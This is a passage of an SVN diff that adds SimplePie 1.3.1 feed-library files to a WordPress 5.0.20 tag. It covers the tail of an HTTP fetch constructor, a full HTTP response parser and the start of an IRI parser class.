+	public function __construct($url, $timeout = 10, $redirects = 5, $headers = null, $useragent = null, $force_fsockopen = false)
+	{
+		if (class_exists('idna_convert'))
+		{
+			$idn = new idna_convert();
+			$parsed = SimplePie_Misc::parse_url($url);
+			$url = SimplePie_Misc::compress_parse_url($parsed['scheme'], $idn->encode($parsed['authority']), $parsed['path'], $parsed['query'], $parsed['fragment']);
+		}
+		$this->url = $url;
+		$this->useragent = $useragent;
+		if (preg_match('/^http(s)?:\/\//i', $url))
+		{
+			if ($useragent === null)
+			{
+				$useragent = ini_get('user_agent');
+				$this->useragent = $useragent;
+			}
+			if (!is_array($headers))
+			{
+				$headers = array();
+			}
+			if (!$force_fsockopen && function_exists('curl_exec'))
+			{
+				$this->method = SIMPLEPIE_FILE_SOURCE_REMOTE | SIMPLEPIE_FILE_SOURCE_CURL;
+				$fp = curl_init();
+				$headers2 = array();
+				foreach ($headers as $key => $value)
+				{
+					$headers2[] = "$key: $value";
+				}
+				if (version_compare(SimplePie_Misc::get_curl_version(), '7.10.5', '>='))
+				{
+					curl_setopt($fp, CURLOPT_ENCODING, '');
+				}
+				curl_setopt($fp, CURLOPT_URL, $url);
+				curl_setopt($fp, CURLOPT_HEADER, 1);
+				curl_setopt($fp, CURLOPT_RETURNTRANSFER, 1);
+				curl_setopt($fp, CURLOPT_TIMEOUT, $timeout);
+				curl_setopt($fp, CURLOPT_CONNECTTIMEOUT, $timeout);
+				curl_setopt($fp, CURLOPT_REFERER, $url);
+				curl_setopt($fp, CURLOPT_USERAGENT, $useragent);
+				curl_setopt($fp, CURLOPT_HTTPHEADER, $headers2);
+				if (!ini_get('open_basedir') && !ini_get('safe_mode') && version_compare(SimplePie_Misc::get_curl_version(), '7.15.2', '>='))
+				{
+					curl_setopt($fp, CURLOPT_FOLLOWLOCATION, 1);
+					curl_setopt($fp, CURLOPT_MAXREDIRS, $redirects);
+				}
+
+				$this->headers = curl_exec($fp);
+				if (curl_errno($fp) === 23 || curl_errno($fp) === 61)
+				{
+					curl_setopt($fp, CURLOPT_ENCODING, 'none');
+					$this->headers = curl_exec($fp);
+				}
+				if (curl_errno($fp))
+				{
+					$this->error = 'cURL error ' . curl_errno($fp) . ': ' . curl_error($fp);
+					$this->success = false;
+				}
+				else
+				{
+					$info = curl_getinfo($fp);
+					curl_close($fp);
+					$this->headers = explode("\r\n\r\n", $this->headers, $info['redirect_count'] + 1);
+					$this->headers = array_pop($this->headers);
+					$parser = new SimplePie_HTTP_Parser($this->headers);
+					if ($parser->parse())
+					{
+						$this->headers = $parser->headers;
+						$this->body = $parser->body;
+						$this->status_code = $parser->status_code;
+						if ((in_array($this->status_code, array(300, 301, 302, 303, 307)) || $this->status_code > 307 && $this->status_code < 400) && isset($this->headers['location']) && $this->redirects < $redirects)
+						{
+							$this->redirects++;
+							$location = SimplePie_Misc::absolutize_url($this->headers['location'], $url);
+							return $this->__construct($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen);
+						}
+					}
+				}
+			}
+			else
+			{
+				$this->method = SIMPLEPIE_FILE_SOURCE_REMOTE | SIMPLEPIE_FILE_SOURCE_FSOCKOPEN;
+				$url_parts = parse_url($url);
+				$socket_host = $url_parts['host'];
+				if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https')
+				{
+					$socket_host = "ssl://$url_parts[host]";
+					$url_parts['port'] = 443;
+				}
+				if (!isset($url_parts['port']))
+				{
+					$url_parts['port'] = 80;
+				}
+				$fp = @fsockopen($socket_host, $url_parts['port'], $errno, $errstr, $timeout);
+				if (!$fp)
+				{
+					$this->error = 'fsockopen error: ' . $errstr;
+					$this->success = false;
+				}
+				else
+				{
+					stream_set_timeout($fp, $timeout);
+					if (isset($url_parts['path']))
+					{
+						if (isset($url_parts['query']))
+						{
+							$get = "$url_parts[path]?$url_parts[query]";
+						}
+						else
+						{
+							$get = $url_parts['path'];
+						}
+					}
+					else
+					{
+						$get = '/';
+					}
+					$out = "GET $get HTTP/1.1\r\n";
+					$out .= "Host: $url_parts[host]\r\n";
+					$out .= "User-Agent: $useragent\r\n";
+					if (extension_loaded('zlib'))
+					{
+						$out .= "Accept-Encoding: x-gzip,gzip,deflate\r\n";
+					}
+
+					if (isset($url_parts['user']) && isset($url_parts['pass']))
+					{
+						$out .= "Authorization: Basic " . base64_encode("$url_parts[user]:$url_parts[pass]") . "\r\n";
+					}
+					foreach ($headers as $key => $value)
+					{
+						$out .= "$key: $value\r\n";
+					}
+					$out .= "Connection: Close\r\n\r\n";
+					fwrite($fp, $out);
+
+					$info = stream_get_meta_data($fp);
+
+					$this->headers = '';
+					while (!$info['eof'] && !$info['timed_out'])
+					{
+						$this->headers .= fread($fp, 1160);
+						$info = stream_get_meta_data($fp);
+					}
+					if (!$info['timed_out'])
+					{
+						$parser = new SimplePie_HTTP_Parser($this->headers);
+						if ($parser->parse())
+						{
+							$this->headers = $parser->headers;
+							$this->body = $parser->body;
+							$this->status_code = $parser->status_code;
+							if ((in_array($this->status_code, array(300, 301, 302, 303, 307)) || $this->status_code > 307 && $this->status_code < 400) && isset($this->headers['location']) && $this->redirects < $redirects)
+							{
+								$this->redirects++;
+								$location = SimplePie_Misc::absolutize_url($this->headers['location'], $url);
+								return $this->__construct($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen);
+							}
+							if (isset($this->headers['content-encoding']))
+							{
+								// Hey, we act dumb elsewhere, so let's do that here too
+								switch (strtolower(trim($this->headers['content-encoding'], "\x09\x0A\x0D\x20")))
+								{
+									case 'gzip':
+									case 'x-gzip':
+										$decoder = new SimplePie_gzdecode($this->body);
+										if (!$decoder->parse())
+										{
+											$this->error = 'Unable to decode HTTP "gzip" stream';
+											$this->success = false;
+										}
+										else
+										{
+											$this->body = $decoder->data;
+										}
+										break;
+
+									case 'deflate':
+										if (($decompressed = gzinflate($this->body)) !== false)
+										{
+											$this->body = $decompressed;
+										}
+										else if (($decompressed = gzuncompress($this->body)) !== false)
+										{
+											$this->body = $decompressed;
+										}
+										else if (function_exists('gzdecode') && ($decompressed = gzdecode($this->body)) !== false)
+										{
+											$this->body = $decompressed;
+										}
+										else
+										{
+											$this->error = 'Unable to decode HTTP "deflate" stream';
+											$this->success = false;
+										}
+										break;
+
+									default:
+										$this->error = 'Unknown content coding';
+										$this->success = false;
+								}
+							}
+						}
+					}
+					else
+					{
+						$this->error = 'fsocket timed out';
+						$this->success = false;
+					}
+					fclose($fp);
+				}
+			}
+		}
+		else
+		{
+			$this->method = SIMPLEPIE_FILE_SOURCE_LOCAL | SIMPLEPIE_FILE_SOURCE_FILE_GET_CONTENTS;
+			if (!$this->body = file_get_contents($url))
+			{
+				$this->error = 'file_get_contents could not read the file';
+				$this->success = false;
+			}
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-includes/SimplePie/HTTP/Parser.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/HTTP/Parser.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/HTTP/Parser.php	(revision 56912)
@@ -0,0 +1,500 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+
+/**
+ * HTTP Response Parser
+ *
+ * @package SimplePie
+ * @subpackage HTTP
+ */
+class SimplePie_HTTP_Parser
+{
+	/**
+	 * HTTP Version
+	 *
+	 * @var float
+	 */
+	public $http_version = 0.0;
+
+	/**
+	 * Status code
+	 *
+	 * @var int
+	 */
+	public $status_code = 0;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	public $reason = '';
+
+	/**
+	 * Key/value pairs of the headers
+	 *
+	 * @var array
+	 */
+	public $headers = array();
+
+	/**
+	 * Body of the response
+	 *
+	 * @var string
+	 */
+	public $body = '';
+
+	/**
+	 * Current state of the state machine
+	 *
+	 * @var string
+	 */
+	protected $state = 'http_version';
+
+	/**
+	 * Input data
+	 *
+	 * @var string
+	 */
+	protected $data = '';
+
+	/**
+	 * Input data length (to avoid calling strlen() everytime this is needed)
+	 *
+	 * @var int
+	 */
+	protected $data_length = 0;
+
+	/**
+	 * Current position of the pointer
+	 *
+	 * @var int
+	 */
+	protected $position = 0;
+
+	/**
+	 * Name of the hedaer currently being parsed
+	 *
+	 * @var string
+	 */
+	protected $name = '';
+
+	/**
+	 * Value of the hedaer currently being parsed
+	 *
+	 * @var string
+	 */
+	protected $value = '';
+
+	/**
+	 * Create an instance of the class with the input data
+	 *
+	 * @param string $data Input data
+	 */
+	public function __construct($data)
+	{
+		$this->data = $data;
+		$this->data_length = strlen($this->data);
+	}
+
+	/**
+	 * Parse the input data
+	 *
+	 * @return bool true on success, false on failure
+	 */
+	public function parse()
+	{
+		while ($this->state && $this->state !== 'emit' && $this->has_data())
+		{
+			$state = $this->state;
+			$this->$state();
+		}
+		$this->data = '';
+		if ($this->state === 'emit' || $this->state === 'body')
+		{
+			return true;
+		}
+		else
+		{
+			$this->http_version = '';
+			$this->status_code = '';
+			$this->reason = '';
+			$this->headers = array();
+			$this->body = '';
+			return false;
+		}
+	}
+
+	/**
+	 * Check whether there is data beyond the pointer
+	 *
+	 * @return bool true if there is further data, false if not
+	 */
+	protected function has_data()
+	{
+		return (bool) ($this->position < $this->data_length);
+	}
+
+	/**
+	 * See if the next character is LWS
+	 *
+	 * @return bool true if the next character is LWS, false if not
+	 */
+	protected function is_linear_whitespace()
+	{
+		return (bool) ($this->data[$this->position] === "\x09"
+			|| $this->data[$this->position] === "\x20"
+			|| ($this->data[$this->position] === "\x0A"
+				&& isset($this->data[$this->position + 1])
+				&& ($this->data[$this->position + 1] === "\x09" || $this->data[$this->position + 1] === "\x20")));
+	}
+
+	/**
+	 * Parse the HTTP version
+	 */
+	protected function http_version()
+	{
+		if (strpos($this->data, "\x0A") !== false && strtoupper(substr($this->data, 0, 5)) === 'HTTP/')
+		{
+			$len = strspn($this->data, '0123456789.', 5);
+			$this->http_version = substr($this->data, 5, $len);
+			$this->position += 5 + $len;
+			if (substr_count($this->http_version, '.') <= 1)
+			{
+				$this->http_version = (float) $this->http_version;
+				$this->position += strspn($this->data, "\x09\x20", $this->position);
+				$this->state = 'status';
+			}
+			else
+			{
+				$this->state = false;
+			}
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	/**
+	 * Parse the status code
+	 */
+	protected function status()
+	{
+		if ($len = strspn($this->data, '0123456789', $this->position))
+		{
+			$this->status_code = (int) substr($this->data, $this->position, $len);
+			$this->position += $len;
+			$this->state = 'reason';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	/**
+	 * Parse the reason phrase
+	 */
+	protected function reason()
+	{
+		$len = strcspn($this->data, "\x0A", $this->position);
+		$this->reason = trim(substr($this->data, $this->position, $len), "\x09\x0D\x20");
+		$this->position += $len + 1;
+		$this->state = 'new_line';
+	}
+
+	/**
+	 * Deal with a new line, shifting data around as needed
+	 */
+	protected function new_line()
+	{
+		$this->value = trim($this->value, "\x0D\x20");
+		if ($this->name !== '' && $this->value !== '')
+		{
+			$this->name = strtolower($this->name);
+			// We should only use the last Content-Type header. c.f. issue #1
+			if (isset($this->headers[$this->name]) && $this->name !== 'content-type')
+			{
+				$this->headers[$this->name] .= ', ' . $this->value;
+			}
+			else
+			{
+				$this->headers[$this->name] = $this->value;
+			}
+		}
+		$this->name = '';
+		$this->value = '';
+		if (substr($this->data[$this->position], 0, 2) === "\x0D\x0A")
+		{
+			$this->position += 2;
+			$this->state = 'body';
+		}
+		elseif ($this->data[$this->position] === "\x0A")
+		{
+			$this->position++;
+			$this->state = 'body';
+		}
+		else
+		{
+			$this->state = 'name';
+		}
+	}
+
+	/**
+	 * Parse a header name
+	 */
+	protected function name()
+	{
+		$len = strcspn($this->data, "\x0A:", $this->position);
+		if (isset($this->data[$this->position + $len]))
+		{
+			if ($this->data[$this->position + $len] === "\x0A")
+			{
+				$this->position += $len;
+				$this->state = 'new_line';
+			}
+			else
+			{
+				$this->name = substr($this->data, $this->position, $len);
+				$this->position += $len + 1;
+				$this->state = 'value';
+			}
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	/**
+	 * Parse LWS, replacing consecutive LWS characters with a single space
+	 */
+	protected function linear_whitespace()
+	{
+		do
+		{
+			if (substr($this->data, $this->position, 2) === "\x0D\x0A")
+			{
+				$this->position += 2;
+			}
+			elseif ($this->data[$this->position] === "\x0A")
+			{
+				$this->position++;
+			}
+			$this->position += strspn($this->data, "\x09\x20", $this->position);
+		} while ($this->has_data() && $this->is_linear_whitespace());
+		$this->value .= "\x20";
+	}
+
+	/**
+	 * See what state to move to while within non-quoted header values
+	 */
+	protected function value()
+	{
+		if ($this->is_linear_whitespace())
+		{
+			$this->linear_whitespace();
+		}
+		else
+		{
+			switch ($this->data[$this->position])
+			{
+				case '"':
+					// Workaround for ETags: we have to include the quotes as
+					// part of the tag.
+					if (strtolower($this->name) === 'etag')
+					{
+						$this->value .= '"';
+						$this->position++;
+						$this->state = 'value_char';
+						break;
+					}
+					$this->position++;
+					$this->state = 'quote';
+					break;
+
+				case "\x0A":
+					$this->position++;
+					$this->state = 'new_line';
+					break;
+
+				default:
+					$this->state = 'value_char';
+					break;
+			}
+		}
+	}
+
+	/**
+	 * Parse a header value while outside quotes
+	 */
+	protected function value_char()
+	{
+		$len = strcspn($this->data, "\x09\x20\x0A\"", $this->position);
+		$this->value .= substr($this->data, $this->position, $len);
+		$this->position += $len;
+		$this->state = 'value';
+	}
+
+	/**
+	 * See what state to move to while within quoted header values
+	 */
+	protected function quote()
+	{
+		if ($this->is_linear_whitespace())
+		{
+			$this->linear_whitespace();
+		}
+		else
+		{
+			switch ($this->data[$this->position])
+			{
+				case '"':
+					$this->position++;
+					$this->state = 'value';
+					break;
+
+				case "\x0A":
+					$this->position++;
+					$this->state = 'new_line';
+					break;
+
+				case '\\':
+					$this->position++;
+					$this->state = 'quote_escaped';
+					break;
+
+				default:
+					$this->state = 'quote_char';
+					break;
+			}
+		}
+	}
+
+	/**
+	 * Parse a header value while within quotes
+	 */
+	protected function quote_char()
+	{
+		$len = strcspn($this->data, "\x09\x20\x0A\"\\", $this->position);
+		$this->value .= substr($this->data, $this->position, $len);
+		$this->position += $len;
+		$this->state = 'value';
+	}
+
+	/**
+	 * Parse an escaped character within quotes
+	 */
+	protected function quote_escaped()
+	{
+		$this->value .= $this->data[$this->position];
+		$this->position++;
+		$this->state = 'quote';
+	}
+
+	/**
+	 * Parse the body
+	 */
+	protected function body()
+	{
+		$this->body = substr($this->data, $this->position);
+		if (!empty($this->headers['transfer-encoding']))
+		{
+			unset($this->headers['transfer-encoding']);
+			$this->state = 'chunked';
+		}
+		else
+		{
+			$this->state = 'emit';
+		}
+	}
+
+	/**
+	 * Parsed a "Transfer-Encoding: chunked" body
+	 */
+	protected function chunked()
+	{
+		if (!preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', trim($this->body)))
+		{
+			$this->state = 'emit';
+			return;
+		}
+
+		$decoded = '';
+		$encoded = $this->body;
+
+		while (true)
+		{
+			$is_chunked = (bool) preg_match( '/^([0-9a-f]+)[^\r\n]*\r\n/i', $encoded, $matches );
+			if (!$is_chunked)
+			{
+				// Looks like it's not chunked after all
+				$this->state = 'emit';
+				return;
+			}
+
+			$length = hexdec(trim($matches[1]));
+			if ($length === 0)
+			{
+				// Ignore trailer headers
+				$this->state = 'emit';
+				$this->body = $decoded;
+				return;
+			}
+
+			$chunk_length = strlen($matches[0]);
+			$decoded .= $part = substr($encoded, $chunk_length, $length);
+			$encoded = substr($encoded, $chunk_length + $length + 2);
+
+			if (trim($encoded) === '0' || empty($encoded))
+			{
+				$this->state = 'emit';
+				$this->body = $decoded;
+				return;
+			}
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-includes/SimplePie/IRI.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/IRI.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/IRI.php	(revision 56912)
@@ -0,0 +1,1238 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * IRI parser/serialiser/normaliser
+ *
+ * @package SimplePie
+ * @subpackage HTTP
+ * @author Geoffrey Sneddon
+ * @author Steve Minutillo
+ * @author Ryan McCue
+ * @copyright 2007-2012 Geoffrey Sneddon, Steve Minutillo, Ryan McCue
+ * @license http://www.opensource.org/licenses/bsd-license.php
+ */
+class SimplePie_IRI
+{
+	/**
+	 * Scheme
+	 *
+	 * @var string
+	 */
+	protected $scheme = null;
+
+	/**
+	 * User Information
+	 *
+	 * @var string
+	 */
+	protected $iuserinfo = null;
+
+	/**
+	 * ihost
+	 *
+	 * @var string
+	 */
+	protected $ihost = null;
+
+	/**
+	 * Port
+	 *
+	 * @var string
+	 */
+	protected $port = null;
+
+	/**
+	 * ipath
+	 *
+	 * @var string
+	 */
+	protected $ipath = '';
+
+	/**
+	 * iquery
+	 *
+	 * @var string
+	 */
+	protected $iquery = null;
+
+	/**
+	 * ifragment
+	 *
+	 * @var string
+	 */
+	protected $ifragment = null;
+
+	/**
+	 * Normalization database
+	 *
+	 * Each key is the scheme, each value is an array with each key as the IRI
+	 * part and value as the default value for that part.
+	 */
+	protected $normalization = array(
+		'acap' => array(
+			'port' => 674
+		),
+		'dict' => array(
+			'port' => 2628
+		),
+		'file' => array(
+			'ihost' => 'localhost'
+		),
+		'http' => array(
+			'port' => 80,
+			'ipath' => '/'
+		),
+		'https' => array(
+			'port' => 443,
+			'ipath' => '/'
+		),
+	);
+
+	/**
+	 * Return the entire IRI when you try and read the object as a string
+	 *
+	 * @return string
+	 */
+	public function __toString()
+	{
+		return $this->get_iri();
+	}
+
+	/**
+	 * Overload __set() to provide access via properties
+	 *
+	 * @param string $name Property name
+	 * @param mixed $value Property value
+	 */
+	public function __set($name, $value)
+	{
+		if (method_exists($this, 'set_' . $name))
+		{
+			call_user_func(array($this, 'set_' . $name), $value);
+		}
+		elseif (
+			   $name === 'iauthority'
+			|| $name === 'iuserinfo'
+			|| $name === 'ihost'
+			|| $name === 'ipath'
+			|| $name === 'iquery'
+			|| $name === 'ifragment'
+		)
+		{
+			call_user_func(array($this, 'set_' . substr($name, 1)), $value);
+		}
+	}
+
+	/**
+	 * Overload __get() to provide access via properties
+	 *
+	 * @param string $name Property name
+	 * @return mixed
+	 */
+	public function __get($name)
+	{
+		// isset() returns false for null, we don't want to do that
+		// Also why we use array_key_exists below instead of isset()
+		$props = get_object_vars($this);
+
+		if (
+			$name === 'iri' ||
+			$name === 'uri' ||
+			$name === 'iauthority' ||
+			$name === 'authority'
+		)
+		{
+			$return = $this->{"get_$name"}();
+		}
+		elseif (array_key_exists($name, $props))
+		{
+			$return = $this->$name;
+		}
+		// host -> ihost
+		elseif (($prop = 'i' . $name) && array_key_exists($prop, $props))
+		{
+			$name = $prop;
+			$return = $this->$prop;
+		}
+		// ischeme -> scheme
+		elseif (($prop = substr($name, 1)) && array_key_exists($prop, $props))
+		{
+			$name = $prop;
+			$return = $this->$prop;
+		}
+		else
+		{
+			trigger_error('Undefined property: ' . get_class($this) . '::' . $name, E_USER_NOTICE);
+			$return = null;
+		}
+
+		if ($return === null && isset($this->normalization[$this->scheme][$name]))
+		{
+			return $this->normalization[$this->scheme][$name];
+		}
+		else
+		{
+			return $return;
+		}
+	}
+
+	/**
+	 * Overload __isset() to provide access via properties
+	 *
+	 * @param string $name Property name
+	 * @return bool
+	 */
+	public function __isset($name)
+	{
+		if (method_exists($this, 'get_' . $name) || isset($this->$name))
+		{
+			return true;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Overload __unset() to provide access via properties
+	 *
+	 * @param string $name Property name
+	 */
+	public function __unset($name)
+	{
+		if (method_exists($this, 'set_' . $name))
+		{
+			call_user_func(array($this, 'set_' . $name), '');
+		}
+	}
+
+	/**
+	 * Create a new IRI object, from a specified string
+	 *
+	 * @param string $iri
+	 */
+	public function __construct($iri = null)
+	{
+		$this->set_iri($iri);
+	}
+
+	/**
+	 * Create a new IRI object by resolving a relative IRI
+	 *
+	 * Returns false if $base is not absolute, otherwise an IRI.
+	 *
+	 * @param IRI|string $base (Absolute) Base IRI
+	 * @param IRI|string $relative Relative IRI
+	 * @return IRI|false
+	 */
+	public static function absolutize($base, $relative)
+	{
+		if (!($relative instanceof SimplePie_IRI))
+		{
+			$relative = new SimplePie_IRI($relative);
+		}
+		if (!$relative->is_valid())
+		{
+			return false;
+		}
+		elseif ($relative->scheme !== null)
+		{
+			return clone $relative;
+		}
+		else
+		{
+			if (!($base instanceof SimplePie_IRI))
+			{
+				$base = new SimplePie_IRI($base);
+			}
+			if ($base->scheme !== null && $base->is_valid())
+			{
+				if ($relative->get_iri() !== '')
+				{
+					if ($relative->iuserinfo !== null || $relative->ihost !== null || $relative->port !== null)
+					{
+						$target = clone $relative;
+						$target->scheme = $base->scheme;
+					}
+					else
+					{
+						$target = new SimplePie_IRI;
+						$target->scheme = $base->scheme;
+						$target->iuserinfo = $base->iuserinfo;
+						$target->ihost = $base->ihost;
+						$target->port = $base->port;
+						if ($relative->ipath !== '')
+						{
+							if ($relative->ipath[0] === '/')
+							{
+								$target->ipath = $relative->ipath;
+							}
+							elseif (($base->iuserinfo !== null || $base->ihost !== null || $base->port !== null) && $base->ipath === '')
+							{
+								$target->ipath = '/' . $relative->ipath;
+							}
+							elseif (($last_segment = strrpos($base->ipath, '/')) !== false)
+							{
+								$target->ipath = substr($base->ipath, 0, $last_segment + 1) . $relative->ipath;
+							}
+							else
+							{
+								$target->ipath = $relative->ipath;
+							}
+							$target->ipath = $target->remove_dot_segments($target->ipath);
+							$target->iquery = $relative->iquery;
+						}
+						else
+						{
+							$target->ipath = $base->ipath;
+							if ($relative->iquery !== null)
+							{
+								$target->iquery = $relative->iquery;
+							}
+							elseif ($base->iquery !== null)
+							{
+								$target->iquery = $base->iquery;
+							}
+						}
+						$target->ifragment = $relative->ifragment;
+					}
+				}
+				else
+				{
+					$target = clone $base;
+					$target->ifragment = null;
+				}
+				$target->scheme_normalization();
+				return $target;
+			}
+			else
+			{
+				return false;
+			}
+		}
+	}
+
+	/**
+	 * Parse an IRI into scheme/authority/path/query/fragment segments
+	 *
+	 * @param string $iri
+	 * @return array
+	 */
+	protected function parse_iri($iri)
+	{
+		$iri = trim($iri, "\x20\x09\x0A\x0C\x0D");
+		if (preg_match('/^((?P<scheme>[^:\/?#]+):)?(\/\/(?P<authority>[^\/?#]*))?(?P<path>[^?#]*)(\?(?P<query>[^#]*))?(#(?P<fragment>.*))?$/', $iri, $match))
+		{
+			if ($match[1] === '')
+			{
+				$match['scheme'] = null;
+			}
+			if (!isset($match[3]) || $match[3] === '')
+			{
+				$match['authority'] = null;
+			}
+			if (!isset($match[5]))
+			{
+				$match['path'] = '';
+			}
+			if (!isset($match[6]) || $match[6] === '')
+			{
+				$match['query'] = null;
+			}
+			if (!isset($match[8]) || $match[8] === '')
+			{
+				$match['fragment'] = null;
+			}
+			return $match;
+		}
+		else
+		{
+			// This can occur when a paragraph is accidentally parsed as a URI
+			return false;
+		}
+	}
+
+	/**
+	 * Remove dot segments from a path
+	 *
+	 * @param string $input
+	 * @return string
+	 */
+	protected function remove_dot_segments($input)
+	{
+		$output = '';
+		while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..')
+		{
+			// A: If the input buffer begins with a prefix of "../" or "./", then remove that prefix from the input buffer; otherwise,
+			if (strpos($input, '../') === 0)
+			{
+				$input = substr($input, 3);
+			}
+			elseif (strpos($input, './') === 0)
+			{
+				$input = substr($input, 2);
+			}
+			// B: if the input buffer begins with a prefix of "/./" or "/.", where "." is a complete path segment, then replace that prefix with "/" in the input buffer; otherwise,
+			elseif (strpos($input, '/./') === 0)
+			{
+				$input = substr($input, 2);
+			}
+			elseif ($input === '/.')
+			{
+				$input = '/';
+			}
+			// C: if the input buffer begins with a prefix of "/../" or "/..", where ".." is a complete path segment, then replace that prefix with "/" in the input buffer and remove the last segment and its preceding "/" (if any) from the output buffer; otherwise,
+			elseif (strpos($input, '/../') === 0)
+			{
+				$input = substr($input, 3);
+				$output = substr_replace($output, '', strrpos($output, '/'));
+			}
+			elseif ($input === '/..')
+			{
+				$input = '/';
+				$output = substr_replace($output, '', strrpos($output, '/'));
+			}
+			// D: if the input buffer consists only of "." or "..", then remove that from the input buffer; otherwise,
+			elseif ($input === '.' || $input === '..')
+			{
+				$input = '';
+			}
+			// E: move the first path segment in the input buffer to the end of the output buffer, including the initial "/" character (if any) and any subsequent characters up to, but not including, the next "/" character or the end of the input buffer
+			elseif (($pos = strpos($input, '/', 1)) !== false)
+			{
+				$output .= substr($input, 0, $pos);
+				$input = substr_replace($input, '', 0, $pos);
+			}
+			else
+			{
+				$output .= $input;
+				$input = '';
+			}
+		}
+		return $output . $input;
+	}
+
+	/**
+	 * Replace invalid character with percent encoding
+	 *
+	 * @param string $string Input string
+	 * @param string $extra_chars Valid characters not in iunreserved or
+	 *                            iprivate (this is ASCII-only)
+	 * @param bool $iprivate Allow iprivate
+	 * @return string
+	 */
+	protected function replace_invalid_with_pct_encoding($string, $extra_chars, $iprivate = false)
+	{
+		// Normalize as many pct-encoded sections as possible
+		$string = preg_replace_callback('/(?:%[A-Fa-f0-9]{2})+/', array($this, 'remove_iunreserved_percent_encoded'), $string);
+
+		// Replace invalid percent characters
+		$string = preg_replace('/%(?![A-Fa-f0-9]{2})/', '%25', $string);
